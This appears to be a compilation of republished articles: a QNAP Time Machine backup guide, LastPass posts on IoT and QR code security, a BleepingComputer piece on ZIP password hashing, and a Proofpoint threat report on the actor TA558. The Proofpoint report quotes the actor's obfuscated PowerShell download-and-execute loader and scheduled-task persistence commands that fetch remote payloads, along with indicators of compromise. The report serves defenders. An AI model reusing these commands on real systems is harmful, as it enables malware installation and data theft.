How to back up your Mac to QNAP NAS using Time Machine

Requirements:

  • QNAP NAS with QTS 4.3.0 (or later).

There are two ways to back up your Mac to a QNAP NAS: using QTS or HBS 3.

QTS: Go to “Perform Time Machine Backup to your QNAP NAS”.
HBS 3: Go to “Back up Mac with the shared Time Machine account in HBS 3”

  • Perform Time Machine Backup to your QNAP NAS
    • (Optional) Create a designated Time Machine backup user and shared folder
    • Configure Time Machine to use QNAP NAS for backups
  • Back up Mac with the shared Time Machine account in HBS 3
    • Set up shared Time Machine account
    • Configure Time Machine to use QNAP NAS for backups

Perform Time Machine Backup to your QNAP NAS

  • (Optional) Create a designated Time Machine backup user and shared folder
    1. Create a Time Machine backup user.
      Tip: A dedicated Time Machine user account can be created to provide additional security and the ability to set storage quotas for each Mac.
      • Open Control Panel.
      • Go to Privilege > Users.
      • Click Create.
      • Select Create a User.
      • Click Create.
    2. Create a Time Machine backup shared folder.
      • Open Control Panel.
      • Go to Privilege > Shared Folders.
      • Click Create.
      • Select Shared Folder.
      • Enter a Folder Name.
      • Click Next.
      • Give the Time Machine backup user RW access privileges.
      • Click Next.
      • Check Set this folder as the Time Machine backup folder (macOS).
      • Click Finish.
    3. Configure QTS to use SMB 3
      1. Open Control Panel.
      2. Go to Network & File Services > Win/Mac/NFS > Microsoft Networking.
      3. Click Advanced Options.
      4. Under Highest SMB version select SMB 3.
      5. Click Apply.
  • Configure Time Machine to use QNAP NAS for backups
    1. Connect the NAS to your Mac
      • Open Finder on your Mac.
      • Open the Go menu.
      • Click Connect to Server.
      • Enter smb://<NAS name.local or IP address>.
      • Enter the username and password of the backup user account.

        Note:
        If your NAS is a member of a domain then you should log in using the domain name and user account. For example, if your NAS is named qnapnas and you want to connect using local NAS user account nasuser1, then your username is qnapnas\nasuser1.
      • This can be your NAS account or the dedicated Time Machine user account.
      • Select the NAS shared backup folder.
    2. Open Time Machine.
    3. Click Select Backup Disk.
    4. Select the NAS shared backup folder.
    5. Click Use Disk.
    6. Enter the username and password of the backup user account.
      Tip: This can be your NAS account or a dedicated Time Machine user account.
    7. Click Connect.
      Result: You can now use Time Machine to back up this Mac to your NAS.

Back up Mac with a shared Time Machine account in HBS 3

  • Set up the shared Time Machine account
    1. Open HBS 3.
    2. Go to Services > Time Machine.
    3. Check Use shared Time Machine account.
    4. Enter a password for the Time Machine account.
    5. (Optional) Set a storage quota.
    6. Select Maximum
    7. Enter the total capacity in GB.
      Important: If the backup data size is greater than the quota, the Time Machine backup will fail.
    8. Click Apply.
  • Configure Time Machine to use QNAP NAS for backups
    1. Connect the NAS to your Mac
      • Open Finder on your Mac.
      • Open the Go menu.
      • Click Connect to Server.
      • Enter smb://<NAS name.local or IP address>/TMBackup.
      • Enter the username TimeMachine and the password you created earlier.
    2. Open Time Machine.
    3. Click Select Backup Disk.
    4. Select the NAS shared folder TMBackup.
    5. Click Use Disk.
    6. Enter the username TimeMachine and the password you created earlier.

      Note:
      If your NAS is a member of a domain then you should log in using the domain name and user account. For example, if your NAS is named qnapnas and you want to connect using local NAS user account nasuser1, then your username is qnapnas\nasuser1.
    7. Click Connect.
      Result: You can now use Time Machine to back up this Mac to your NAS.

      Tip: Backups can be located under the shared folder TMbackup.

Source :
https://www.qnap.com/en/how-to/tutorial/article/how-to-back-up-your-mac-to-qnap-nas-using-time-machine

Password Security and the Internet of Things (IoT)

The Internet of Things (IoT) is here, and we’re using it for everything from getting instant answers to random trivia questions to screening visitors at the door. According to Gartner, we were expected to use more than 25 billion internet-connected devices by the end of 2021. But as our digital lives have become more convenient, we might not yet have considered the risks involved with using IoT devices.

How can you keep yourself secure in today’s IoT world, where hackers aim to outsmart your smart home? First we’ll look at how hackers infiltrate the IoT, and then we’ll look at what you can do right now to make sure the IoT is working for you – not against you.

How hackers are infiltrating the Internet of Things

While we’ve become comfortable asking voice assistants to give us the weather forecast while we prep our dinners, hackers have been figuring out how to commandeer our IoT devices for cyber attacks. Here are just a few examples of how cyber criminals are already infiltrating the IoT.

Gaining access to and control of your camera

Have you ever seen someone with a sticker covering the camera on their laptop or smartphone? There’s a reason for that. Hackers have been known to gain access to these cameras and spy on people. This has become an even more serious problem in recent years, as people have been relying on videoconferencing to safely connect with friends and family, participate in virtual learning, and attend telehealth appointments during the pandemic. Cameras now often come with an indicator light that lets you know whether they’re being used. It’s a helpful protective measure, but not a failsafe one.

Using voice assistants to obtain sensitive information

According to Statista, 132 million Americans used a digital voice assistant once a month in 2021. Like any IoT gadget, however, they can be vulnerable to attack. According to Ars Technica, academic researchers have discovered that the Amazon Echo can be forced to take commands from itself, which opens the door to major mischief in a smart home. Once an attacker has compromised an Echo, they can use it to unlock doors, make phone calls and unauthorized purchases, and control any smart home appliances that the Echo manages.

Many bad actors prefer the quiet approach, however, slipping in undetected and stealing information. They can piggyback on a voice assistant’s privileged access to a victim’s online accounts or other IoT gadgets and make off with any sensitive information they desire. With the victim being none the wiser, the attackers can use that information to commit identity fraud or stage even more ambitious cyber crimes.

Hacking your network and launching a ransomware attack

Any device that is connected to the internet, whether it’s a smart security system or even a smart fridge, can be used in a cyber attack. Bad actors know that most people aren’t keeping their IoT gadgets’ software up to date in the same way they do their computers and smartphones, so they take advantage of that false sense of security. Once cyber criminals have gained access to an IoT device, they can go after other devices on the same network. (This is because most home networks are designed to trust devices that are already connected to them.) When these malicious actors are ready, they can launch a ransomware attack that brings your entire digital life to a halt – unless you agree to fork over a hefty sum in bitcoin, that is.

Using bots to launch a DDOS attack

Although most people never notice it, hackers can and do infect IoT devices with malware en masse, gaining control over them in the process. Having turned these zombie IoT devices into bots, the hackers then collectively use them to stage what’s called a botnet attack on their target of choice. This form of assault is especially popular for launching distributed denial of service (DDOS) attacks, in which all the bots in a botnet collectively flood a target with network requests until it buckles and goes offline.

How you can keep your Internet of Things gadgets safe from hackers

So how can you protect your IoT devices from these determined hackers? Fortunately, you can take back control by becoming just a little more cyber smart. Here are a few ways to keep your IoT gadgets safe from hackers:

  • Never use the default settings on your IoT devices. Although IoT devices are designed to be plug-and-play so you can start enjoying them right away, their default settings are often not nearly as secure as they should be. With that in mind, set up a unique username and strong password combination before you start using any new IoT technology. While you’re at it, see if there’s an option to encrypt the traffic to and from your IoT device. If there is, turn it on.
  • Keep your IoT software up to date. Chances are, you regularly install the latest software updates on your computer and phone. Hackers are counting on you to leave your IoT gadgets unpatched, running outdated software with vulnerabilities they can exploit, so be sure to keep the software on your IoT devices up to date as well.
  • Practice good password hygiene. We all slip into bad password habits from time to time – it’s only human – but they put our IoT security at risk. With this in mind, avoid re-using passwords and be sure to set unique, strong passwords on each of your IoT devices. Update those passwords from time to time, too. Don’t store your passwords in a browser, and don’t share them via email. A password manager can help you securely store and share your passwords, so hackers never have a chance to snatch them.
  • Use secure, password-protected WiFi. Cyber criminals are notorious for sneaking onto open, insecure WiFi networks. Once they’re connected, they can spy on any internet activity that happens over those networks, steal login credentials, and launch cyber attacks if they feel like it. For this reason, make sure that you and your IoT devices only use secure, password-protected WiFi.
  • Use multi-factor authentication as an extra layer of protection. Multi-factor authentication (MFA), gives you extra security on top of all the other measures we mentioned above. It asks you to provide one more credential, or factor, in addition to a password to confirm you are who you say you are. If you have MFA enabled and a hacker tries to log in as you, you’ll get a notification that a login attempt is in progress. Whenever you have the option to enable MFA on any account or technology, take advantage of it.

Protect your Internet of Things devices with smart password security

The IoT is making our lives incredibly convenient, but that convenience can be a little too seductive at times. It’s easy to forget that smart home devices, harmless-looking and helpful as they are, can be targeted in cyber attacks just like our computers and phones. Hackers are counting on you to leave your IoT gadgets unprotected so they can use them to launch damaging attacks. By following these smart IoT security tips, you can have the best of both worlds, enjoying your smart life and better peace of mind at the same time.

Learn how LastPass Premium helps you strengthen your password security.

Source :
https://blog.lastpass.com/2022/08/password-security-and-the-iot/

Staying Safe With QR Codes

QR codes link the offline to the online. What started as a way to streamline manufacturing in the automotive industry is now a widespread technology helping connect the physical world to digital content. And as the world embraced remote, no-touch solutions during the Covid pandemic, QR codes became especially popular. QR codes offer convenience and immediacy for businesses and consumers, but cybercriminals also take advantage of them. Here’s what you need to know about QR codes and how to stay safe when using them. 

Why QR codes? 

Due to their size and structure, the two-dimensional black and white barcodes we call QR codes are very versatile. And since most people carry a smartphone everywhere, they can quickly scan QR codes with their phone’s camera. Moreover, since QR codes are relatively easy to program and accessible for most smartphone users, they can be an effective communication tool. 

They also have many uses. For example, QR codes may link to a webpage, start an app or file download, share contact information, initiate a payment, and more. Covid forced businesses to be creative with touchless experiences, and QR codes provide a convenient way to transform a physical touchpoint into a digital interaction. During Covid, QR codes became a popular way to look at restaurant menus, communicate Covid policies, check in for an appointment, and view marketing promotions, among other scenarios.  

As a communication tool, QR codes can transmit a lot of information from one person to another, making it easy for someone to take action online and interact further with digital content.  

What hackers do with QR codes 

QR codes are inherently secure, and no personally identifiable information (PII) is transmitted while you’re scanning them. However, the tricky part about QR codes is that you don’t know what information they contain until you scan them. So just looking at the QR code won’t tell you if it’s entirely trustworthy or not. 

For example, cybercriminals may try to replace or sticker over a QR code in a high-traffic, public place. Doing so can trick people into scanning a malicious QR code. Or, hackers might send malicious QR codes digitally by email, text, or social media. The QR code scam might target a specific individual, or cybercriminals may design it to attract as many scans as possible from a large number of people. 

Once scanned, a malicious QR code may take you to a phishing website, lead you to install malware on your device, redirect a payment to the wrong account, or otherwise compromise the security of your private information.  

In the same way that cybercriminals try to get victims to click phishing links in email or social media, they lure people into scanning a QR code. These bad actors may be after account credentials, financial information, PII, or even company information. With that information, they can steal your identity or money or even break into your employer’s network for more valuable information (in other words, causing a data breach). 

QR code best practices for better security 

For the most part, QR code best practices mirror the typical security precautions you should take on social media and elsewhere in your digital life. However, there are also a few special precautions to keep in mind regarding QR codes. 

Pay attention to context. Where is the code available? What does the code claim to do (e.g., will it send you to a landing page)? Is there someone you can ask to confirm the purpose of the QR code? Did someone send it unprompted? Is it from a business or individual you’ve never heard of? Just like with phishing links, throw it out when in doubt. 

Look closely at the code. Some codes may have specific colors or branding to indicate the code’s purpose and destination. Many codes are generic black and white designs, but sometimes there are clues about who made the code. 

Check the link before you click. If you scan the QR code and a link appears, double-check it before clicking. Is it a website URL you were expecting? Is it a shortened link that masks the full URL? Is the webpage secure (HTTPS)? Do you see signs of a phishing attack (branding is slightly off, strange URL, misspelled words, etc.)? If it autogenerates an email or text message, who is the recipient and what information is it sending them? If it’s a payment form, who is receiving the payment? Read carefully before taking action. 

Practice password security. Passwords and account logins remain one of the top targets of cyber attacks. Stolen credentials give cybercriminals access to valuable personal and financial information. Generate every password for every account with a random password generator, ideally built into a password manager for secure storage and autofill. Following password best practices ensures one stolen password results in minimal damage. 

Layer with MFA. Adding multi-factor authentication to logins further protects against phishing attacks that steal passwords. With MFA in place, a hacker still can’t access an account after using a stolen password. By requiring additional login data, MFA can prevent cybercriminals from gaining access to personal or business accounts. 

QR codes remain a popular marketing and communication tool. They’re convenient and accessible, so you can expect to encounter them occasionally. Though cyber attacks via QR codes are less common, you should still stay vigilant for signs of phishing and social engineering via QR codes. To prevent and mitigate attacks via QR codes, start by building a solid foundation of digital security with a trusted password manager

Source :
https://blog.lastpass.com/2022/08/staying-safe-with-qr-codes/

An encrypted ZIP file can have two correct passwords — here’s why

Password-protected ZIP archives are common means of compressing and sharing sets of files—from sensitive documents to malware samples to even malicious files (i.e. phishing “invoices” in emails).

But, did you know it is possible for an encrypted ZIP file to have two correct passwords, with both producing the same outcome when the ZIP is extracted?

A ZIP file with two passwords

Arseniy Sharoglazov, a cybersecurity researcher at Positive Technologies shared over the weekend a simple experiment where he produced a password-protected ZIP file called x.zip.

The password Sharoglazov picked for encrypting his ZIP was a pun on the 1987 hit that’s become a popular tech meme:

Nev1r-G0nna-G2ve-Y8u-Up-N5v1r-G1nna-Let-Y4u-D1wn-N8v4r-G5nna-D0sert-You

But the researcher demonstrated that when extracting x.zip using a completely different password, he received no error messages.

In fact, using the different password resulted in successful extraction of the ZIP, with original contents intact:

pkH8a0AqNbHcdw8GrmSp

different passwords for same ZIP
Two different passwords for same ZIP file result in successful extraction (Sharoglazov)

BleepingComputer was able to successfully reproduce the experiment using different ZIP programs. We used both p7zip (7-Zip equivalent for macOS) and another ZIP utility called Keka.

Like the researcher’s ZIP archive, ours was created with the aforementioned longer password, and with AES-256 encryption mode enabled.

While the ZIP was encrypted with the longer password, using either password extracted the archive successfully.

How’s this possible?

Responding to Sharoglazov’s demo, a curious reader, Rafa raised an important question, “How????”

Twitter user Unblvr seems to have figured out the mystery:

https://platform.twitter.com/embed/Tweet.html?creatorScreenName=BleepinComputer&dnt=false&embedId=twitter-widget-0&features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOlsibGlua3RyLmVlIiwidHIuZWUiXSwidmVyc2lvbiI6bnVsbH0sInRmd19ob3Jpem9uX3RpbWVsaW5lXzEyMDM0Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfcmVzdWx0X21pZ3JhdGlvbl8xMzk3OSI6eyJidWNrZXQiOiJ0d2VldF9yZXN1bHQiLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3NlbnNpdGl2ZV9tZWRpYV9pbnRlcnN0aXRpYWxfMTM5NjMiOnsiYnVja2V0IjoiaW50ZXJzdGl0aWFsIiwidmVyc2lvbiI6bnVsbH0sInRmd19leHBlcmltZW50c19jb29raWVfZXhwaXJhdGlvbiI6eyJidWNrZXQiOjEyMDk2MDAsInZlcnNpb24iOm51bGx9LCJ0ZndfZHVwbGljYXRlX3NjcmliZXNfdG9fc2V0dGluZ3MiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3R3ZWV0X2VkaXRfZnJvbnRlbmQiOnsiYnVja2V0Ijoib2ZmIiwidmVyc2lvbiI6bnVsbH19&frame=false&hideCard=false&hideThread=false&id=1561112433812463616&lang=en&origin=https%3A%2F%2Fwww.bleepingcomputer.com%2Fnews%2Fsecurity%2Fan-encrypted-zip-file-can-have-two-correct-passwords-heres-why%2F&sessionId=a152f893a25a6e8ee78e7bde19e8d6acb85ac127&siteScreenName=BleepinComputer&theme=light&widgetsVersion=31f0cdc1eaa0f%3A1660602114609&width=550px

When producing password-protected ZIP archives with AES-256 mode enabled, the ZIP format uses the PBKDF2 algorithm and hashes the password provided by the user, if the password is too long. By too long, we mean longer than 64 bytes (characters), explains the researcher.

Instead of the user’s chosen password (in this case “Nev1r-G0nna-G2ve-…”) this newly calculated hash becomes the actual password to the file.

When the user attempts to extract the file, and enters a password that is longer than 64 bytes (“Nev1r-G0nna-G2ve-… “), the user’s input will once again be hashed by the ZIP application and compared against the correct password (which is now itself a hash). A match would lead to a successful file extraction.

The alternative password used in this example (“pkH8a0AqNbHcdw8GrmSp“) is in fact ASCII representation of the longer password’s SHA-1 hash.

SHA-1 checksum of “Nev1r-G0nna-G2ve-…” = 706b4838613041714e62486364773847726d5370.

This checksum when converted to ASCII produces: pkH8a0AqNbHcdw8GrmSp

Note, however, that when encrypting or decrypting a file, the hashing process only occurs if the length of the password is greater than 64 characters.

In other words, shorter passwords will not be hashed at either stage of compressing or decompressing the ZIP.

This is why when picking the long “Nev1r-G0nna-G2ve-… ” string as the password at the encryption stage, the actual password being set by the ZIP program is effectively the (SHA1) hash of this string.

At the decryption stage, if you were to enter “Nev1r-G0nna-G2ve-…,” it will be hashed and compared against the previously stored password (which is the SHA1 hash). However, entering the shorter “pkH8a0AqNbHcdw8GrmSp” password at the decryption stage will have the application directly compare this value to the stored password (which is, again the SHA1 hash).

The HMAC collisions subsection of PBKDF2 on Wikipedia provides some more technical insight to interested readers.

“PBKDF2 has an interesting property when using HMAC as its pseudo-random function. It is possible to trivially construct any number of different password pairs with collisions within each pair,” notes the entry.

“If a supplied password is longer than the block size of the underlying HMAC hash function, the password is first pre-hashed into a digest, and that digest is instead used as the password.”

But, the fact that there are now two possible passwords to the same ZIP does not represent a security vulnerability, “as one still must know the original password in order to generate the hash of the password,” the entry further explains.

Arriving at a perfect password

An interesting key aspect to note here is, ASCII representations of every SHA-1 hash need not be alphanumeric.

In other words, let’s assume we had chosen the following password for our ZIP file during this experiment. The password is longer than 64 bytes:

Bl33pingC0mputer-Sh0w-M3-H0W-t0-pR0Duc3-an-eNcRyPT3D-ZIP-File-in-the-simplest-way

It’s SHA-1 checksum comes out to be: bd0b8c7ab2bf5934574474fb403e3c0a7e789b61

And the ASCII representation of this checksum looks like a gibberish set of bytes—not nearly elegant as the alternative password generated by the researcher for his experiment:

gibberish password
ASCII representation of SHA-1 hash of Bl33pingC0mputer… password

BleepingComputer asked Sharoglazov how was he able to pick a password whose SHA-1 checksum would be such that its ASCII representation yields a clean, alphanumeric string.

“That’s why hashcat was used,” the researcher tells BleepingComputer.

By using a slightly modified version of the open source password recovery tool, hashcat, the researcher generated variations of the “Never Gonna Give You Up…” string using alphanumeric characters until he arrived at a perfect password.

“I tested Nev0rNev1rNev2r and so on… And I found the password I need.”

And, that’s how Sharoglazov arrived at a password that roughly reads like “Never Gonna Give You Up…,” but the ASCII representation of its SHA-1 checksum is one neat alphanumeric string.

For most users, creating a password-protected ZIP file with a choice of their password should be sufficient and that is all they would need to know.

But should you decide to get adventurous, this experiment provides a peek into one of the many mysteries surrounding encrypted ZIPs, like having two passwords to your guarded secret.

Source :
https://www.bleepingcomputer.com/news/security/an-encrypted-zip-file-can-have-two-correct-passwords-heres-why/

Reservations Requested: TA558 Targets Hospitality and Travel 

Key Findings:

  • TA558 is a likely financially motivated small crime threat actor targeting hospitality, hotel, and travel organizations.
  • Since 2018, this group has used consistent tactics, techniques, and procedures to attempt to install a variety of malware including Loda RAT, Vjw0rm, and Revenge RAT.
  • TA558’s targeting focus is mainly on Portuguese and Spanish speakers, typically located in the Latin America region, with additional targeting observed in Western Europe and North America.
  • TA558 increased operational tempo in 2022 to a higher average than previously observed. 
  • Like other threat actors in 2022, TA558 pivoted away from using macro-enabled documents in campaigns and adopted new tactics, techniques, and procedures. 

Overview

Since 2018, Proofpoint has tracked a financially-motivated cybercrime actor, TA558, targeting hospitality, travel, and related industries located in Latin America and sometimes North America, and western Europe. The actor sends malicious emails written in Portuguese, Spanish, and sometimes English. The emails use reservation-themed lures with business-relevant themes such as hotel room bookings. The emails may contain malicious attachments or URLs aiming to distribute one of at least 15 different malware payloads, typically remote access trojans (RATs), that can enable reconnaissance, data theft, and distribution of follow-on payloads.

Proofpoint tracked this actor based on a variety of email artifacts, delivery and installation techniques, command and control (C2) infrastructure, payload domains, and other infrastructure.

In 2022, Proofpoint observed an increase in activity compared to previous years. Additionally, TA558 shifted tactics and began using URLs and container files to distribute malware, likely in response to Microsoft announcing it would begin blocking VBA macros downloaded from the internet by default. 

TA558 has some overlap with activity reported by Palo Alto Networks in 2018, Cisco Talos in 2020 and 2021Uptycs in 2020, and HP in 2022. This report is the first comprehensive, public report on TA558, detailing activity conducted over four years that is still ongoing. The information used in the creation of this report is based on email campaigns, which are manually contextualized, and analyst enriched descriptions of automatically condemned threats.

Campaign Details and Activity Timeline

2018

Proofpoint first observed TA558 in April 2018. These early campaigns typically used malicious Word attachments that exploited Equation Editor vulnerabilities (e.g. CVE-2017-11882) or remote template URLs to download and install malware. Two of the most common malware payloads included Loda and Revenge RAT. Campaigns were conducted exclusively in Spanish and Portuguese and targeted the hospitality and related industries, with “reserva” (Portuguese word for “reservation”) themes. Example campaign:

Subject: Corrigir data da reserva para o dia 03

Attachment: Booking – Dados da Reserva.docx

Attachment “Author”: C.D.T Original

SHA256: 796c02729c9cd5d37976ddae205226e6339b64859e9980d56cbfc5f461d00910

TA558

Figure 1: Example TA558 email from 2018

The documents leveraged remote template URLs to download an additional RTF document, which then downloaded and installed Revenge RAT. Interestingly, the term “CDT” is in the document metadata and in the URL. This term, which may refer to a travel organization, appears throughout TA558 campaigns from 2018 to present.

RTF payload URL example:

hxxp[://]cdtmaster[.]com[.]br/DadosDaReserva[.]doc

 

2019

In 2019, this actor continued to leverage emails with Word documents that exploited Equation Editor vulnerabilities (e.g. CVE-2017-11882) to download and install malware. TA558 also began using macro-laden PowerPoint attachments and template injection with Office documents. This group expanded their malware arsenal to include Loda, vjw0rm, Revenge RAT, and others. In 2019, the group began occasionally expanding targeting outside of the hospitality and tourism verticals to include business services and manufacturing. Example campaign:

Subject: RESERVA

Attachment: RESERVA.docx

Attachment “Author”: msword

Attachment “Last Saved By”: Richard

SHA256: 7dc70d023b2ee5a941edd925999bb6864343b11758c7dc18309416f2947ddb6e

TA558

Figure 2: Example TA558 email from 2019

TA558

Figure 3: Example TA558 Microsoft Word attachment from 2019

The documents leveraged a remote template relationship URL to download an additional RTF document. The RTF document (Author: obidah qudah, Operator: Richard) exploited the CVE-2017-11882 vulnerability to retrieve and execute an MSI file. Upon execution, the MSI file extracted and ran Loda malware.

In December 2019, Proofpoint analysts observed TA558 begin to send English-language lures relating to room bookings in addition to Portuguese and Spanish.

2020

In 2020, TA558 stopped using Equation Editor exploits and began distributing malicious Office documents with macros, typically VBA macros, to download and install malware. This group continued to use a variety of malware payloads including the addition of njRAT and Ozone RAT.  

Hotel, hospitality, and travel organization targeting continued. Although the actor slightly increased its English-language operational tempo throughout 2020, most of the lures featured Portuguese and Spanish reservation requests. An example of a common attack chain in 2020:

From: Oab Brasil <fernando1540@bol[.]com[.]br>

Subject: Orçamento Conferencistas – 515449939

Attachment: reserva.ppa

SHA256: c2b817b02e56624c8ed7944e76a3896556dc2b7482f747f4be88f95e232f9207

TA558

Figure 4: Example TA558 email from 2020

The message contained a PowerPoint attachment that used template injection techniques and VBA macros which, if enabled, executed a PowerShell script to download a VBS payload from an actor-controlled domain. The VBS script in turn downloaded and executed Revenge RAT.

Attack Path

Figure 5: 2020 attack path example

TA558 was more active in 2020 than previous years and 2021, with 74 campaigns identified. 2018, 2019, and 2021 had 9, 70, and 18 total campaigns, respectively. So far in 2022, Proofpoint analysts have observed 51 TA558 campaigns. 

TA558

Figure 6: Total number of TA558 campaigns over time

2021

In 2021, this actor continued to leverage emails with Office documents containing macros or Office exploits (e.g. CVE-2017-8570) to download and install malware. Its most consistently used malware payloads included vjw0rm, njRAT, Revenge RAT, Loda, and AsyncRAT. 

Additionally, this group started to include more elaborate attack chains in 2021. For example, introducing more helper scripts and delivery mechanisms such as embedded Office documents within MSG files.

In this example 2021 campaign, emails purported to be, e.g.:

From: Financeiro UNIMED <financeiro@unimed-corporated[.]com>

Subject: Reserva

Replyto: cdt[name]cdt@gmail[.]com

Attachment: OficioCircularencaminhadoaoSetorFinanceiroUNIMED.docx

SHA256: 2f0f99cbac828092c0ec23e12ecb44cbf53f5a671a80842a2447e6114e4f6979

Emails masqueraded as Unimed, a Brazilian medical work cooperative and health insurance operator. These messages contained Microsoft Word attachments with macros which, if enabled, invoked a series of scripts to ultimately download and execute AsyncRAT. 

TA558

Figure 7: Example TA558 email from 2021

Of note is the repeat use of the string “CDT” contained the replyto email address and C2 domain names.

AsyncRAT C2 domains:

warzonecdt[.]duckdns[.]org

cdt2021.zapto[.]org

Example PowerShell execution to download and execute AsyncRAT:

$NOTHING = ‘(Ne<^^>t.We’.Replace(‘<^^>’,’w-Object

Ne’);$alosh=’bC||||||!@!@nlo’.Replace(‘||||||!@!@’,’lient).Dow’); $Dont=’adString(”hxxps[:]//brasilnativopousada[.]com[.]br/Final.txt”)

‘;$YOUTUBE=IEX ($NOTHING,$alosh,$Dont -Join ”)|IEX

Persistence was achieved through a scheduled task masquerading as a Spotify service.

schtasks /create /sc MINUTE /mo 1 0 /tn "Spotfy" /tr
 "\"%windir%\system32\mshta.exe\"hxxps[:]//www[.]unimed-
corporated[.]com/microsoft.txt" /F

This was the actor’s least active year. Proofpoint observed just 18 campaigns conducted by TA558 in 2021.

2022

In 2022, campaign tempo increased significantly. Campaigns delivered a mixture of malware such as, Loda, Revenge RAT, and AsyncRAT. This actor used a variety of delivery mechanisms including URLs, RAR attachments, ISO attachments, and Office documents.

TA558 followed the trend of many threat actors in 2022 and began using container files such as RAR and ISO attachments instead of macro-enabled Office documents. This is likely due to Microsoft’s announcements in late 2021 and early 2022 about disabling macros by default in Office products, which caused a shift across the threat landscape of actors adopting new filetypes to deliver payloads.

Additionally, TA558 began using URLs more frequently in 2022. TA558 conducted 27 campaigns with URLs in 2022, compared to just five campaigns total from 2018 through 2021. Typically, URLs led to container files such as ISOs or zip files containing executables.

TA558

Figure 8: Campaigns using specific threat types over time

For example, this 2022 Spanish language campaign featured URLs leading to container files. Messages purported to be, e.g.:

From: Mauricio Fortunato <contato@155hotel[.]com[.]br>

Subject: Enc: Reserva Familiar

The URL purported to be a legitimate 155 Hotel reservation link that led to an ISO file and an embedded batch file. The execution of the BAT file led to a PowerShell helper script that downloaded a follow-on payload, AsyncRAT.

Similar to earlier campaigns, persistence was achieved via a scheduled task:

schtasks /create /sc MINUTE /mo 1 /tn Turismo /F /tr
"powershell -w h -NoProfile -ExecutionPolicy Bypass -
Command start-sleep -s 20;iwr ""\""hxxps[:]//unimed-
corporated[.]com/tur/turismo[.]jpg""\"" -useB|iex;"
TA558

Figure 9: 2022 campaign example chain.

In April 2022 Proofpoint researchers spotted a divergence from the typical email lure. One of the campaigns included a QuickBooks invoice email lure. Additionally, this campaign included the distribution of RevengeRAT which had not been observed in use by TA558 since December 2020. Messages purported to be:

From: Intuit QuickBooks Team <quickbooks@unimed-corporated.com>

Subject: QuickBooks Invoice 1000172347

Attachment: 1000172347.xlsm

SHA256: b57a9f7321216c3410ebcc9d4b09e73a652dee9e750f96b2f6d7d1e39e2923d6

The emails contained Excel attachments with macros that downloaded helper scripts via PowerShell and MSHTA. The execution of helper scripts ultimately led to the installation of RevengeRAT. Proofpoint has not seen this theme since April, and it is unclear why TA558 temporarily pivoted away from reservations themes. 

Malware Use

Since 2018, TA558 has used at least 15 different malware families, sometimes with overlapping command and control (C2) domains. The most frequently observed payloads include Loda, Vjw0rm, AsyncRAT, and Revenge RAT.  

TA558

Figure 10: Number of TA558 campaigns by malware type over time

Typically, TA558 uses attacker owned and operated infrastructure. However, Proofpoint has observed TA558 leverage compromised hotel websites to host malware payloads, thus adding legitimacy to its malware delivery and C2 traffic.  

Language Use

Since Proofpoint began tracking TA558 through 2022, over 90% of campaigns were conducted in Portuguese or Spanish, with four percent featuring multiple language lure samples in English, Spanish, or Portuguese.

TA558

Figure 11: Campaign totals by language since 2018

Interestingly, the threat actor often switches languages in the same week. Proofpoint researchers have observed this actor send, for example, a campaign in English and the following day another campaign in Portuguese. Individual targeting typically differs based on campaign language.

Notable Campaign Artifacts

In addition to the consistent lure themes, targeting, message content, and malware payloads, Proofpoint researchers observed TA558 using multiple notable patterns in campaign data including the use of certain strings, naming conventions and keywords, domains, etc. For example, the actor appears to repeat the term CDT in email and malware attributes. This may relate to the CDT Travel organization and related travel reservation lure themes. Proofpoint researchers observed TA558 use the CDT term in dozens of campaigns since 2018, in C2 domains, replyto email addresses, payload URLs, scheduled task name, and Microsoft Office document metadata (i.e., Author, Last Saved By), and Microsoft Office macro language.

Throughout many of the 2019 and 2020 campaigns the threat actor used various URLs from the domain sslblindado[.]com to download either helper scripts or malware payloads. Some examples include:

  • microsofft[.]sslblindado[.]com
  • passagensv[.]sslblindado[.]com
  • system11[.]sslblindado[.]com

Like other threat actors, this group sometimes mimics technology service names to appear legitimate. For example, using terms in payload URLs or C2 domain names. Some examples include:

  • microsofft[.]sslblindado[.]com
  • firefoxsystem[.]sytes[.]net
  • googledrives[.]ddns[.]net

Another interesting pattern observed were common strings like “success” and “pitbull”. In several campaigns Proofpoint researchers spotted these strings in C2 domains. Some examples include:

  • successfully[.]hopto[.]org
  • success20[.]hopto[.]org
  • 4success[.]zapto[.]org

From 2019 through 2020, TA558 conducted 10 campaigns used the keyword “Maringa” or “Maaringa” in payload URLs or email senders. Maringa is a city in Brazil. Examples include:

  • maringareservas[.]com[.]br/seila[.]rtf
  • maringa[.]turismo@system11[.]com[.]br

Possible Objectives

Proofpoint has not observed post-compromise activity from TA558. Based on the observed payloads, victimology, and campaign and message volume, Proofpoint assesses with medium to high confidence that this is a financially motivated cybercriminal actor.

The malware used by TA558 can steal data including hotel customer user and credit card data, allow lateral movement, and deliver follow-on payloads.

Open-source reporting provides insight into one possible threat actor objective. In July, CNN Portugal reported a Portuguese hotel’s website was compromised, and the actor was able to modify the website and direct customers to a fake reservation page. The actor stole funds from potential customers by posing as the compromised hotel. Although Proofpoint does not associate the identified activity with TA558, it provides an example of possible follow-on activity and the impacts to both target organizations and their customers if an actor is able to compromise hotel or transportation entities.

Conclusion

TA558 is an active threat actor targeting hospitality, travel, and related industries since 2018. Activity conducted by this actor could lead to data theft of both corporate and customer data, as well as potential financial losses.

Organizations, especially those operating in targeted sectors in Latin America, North America, and Western Europe should be aware of this actor’s tactics, techniques, and procedures.

Indicators of Compromise (IOCs)  

The following IOCs represent a sample of indicators observed by Proofpoint researchers associated with TA558.  

C2 Domains

IndicatorDescriptionDate Observed
quedabesouro[.]ddns[.]netRevengeRAT C2 Domain2018
queda212[.]duckdns[.]orgnjRAT/RevengeRAT C2 Domain2018
3030pp[.]hopto[.]orgvjw0rm C2 Domain2018 and 2019
vemvemserver[.]duckdns[.]orgHoudini/Loda C2 Domain2019
4success[.]zapto[.]orgLoda C2 Domain2019
success20[.]hopto[.]orgLoda C2 Domain2020
